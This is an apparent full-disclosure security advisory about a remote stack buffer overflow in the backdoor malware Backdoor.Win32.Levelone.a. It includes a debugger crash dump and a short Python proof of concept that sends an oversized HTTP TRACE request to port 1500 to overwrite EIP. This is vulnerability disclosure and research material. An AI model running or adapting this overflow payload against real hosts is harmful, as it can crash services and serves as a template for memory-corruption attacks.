full-disclosure - [FD] Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow

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Date: Sun, 10 Jan 2021 00:45:40 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6a2d09c4527cf222e4e2571b074fcc0c.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Levelone.a
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on Port 1500, sending a specially
crafted HTTP TRACE request causes a buffer overflow and overwrites EIP
with our payload. If testing you need delete the executable in order
to run the malware again, c:\>del \Windows\SysWOW64\dllvector.exe
Packed with UPX so just upx -d to unpack.

Type: PE32
MD5: 6a2d09c4527cf222e4e2571b074fcc0c
Vuln ID: MVID-2021-0020
Dropped files: dllvector.exe
Network Access: Remote
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/10/2021

Memory Dump:

EAX : 000A139C
EBX : 0019FF70
ECX : 0040109A     dllvector.0040109A
EDX : 773E9D70     ntdll.773E9D70
EBP : 000A13A4
ESP : 000A1380
ESI : FFFFFFFF
EDI : 0040801C     dllvector.0040801C
EIP : 41414141

41414141 ??              ???

EXCEPTION_RECORD:  0019f7e8 -- (.exr 0x19f7e8)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  dllvector.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
+cbf7340
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS:
+cbf7340
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019f838 -- (.cxr 0x19f838)
eax=0040b77e ebx=0040513c ecx=cbc27c7e edx=0019fbcc esi=0000663e edi=00006642
eip=41414141 esp=0019fc98 ebp=0019fcbc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???
Resetting default scope

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1500
JUNK="A"*7740
JUNK2="A"*7822
PAYLOAD="TRACE /
"+JUNK+"HTTP/1."+JUNK+"\r\n"+MALWARE_HOST+"\r\nCookie:
"+JUNK2+"\r\n\r\n"

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow")
print("MD5: 6a2d09c4527cf222e4e2571b074fcc0c")
print("By Malvuln")

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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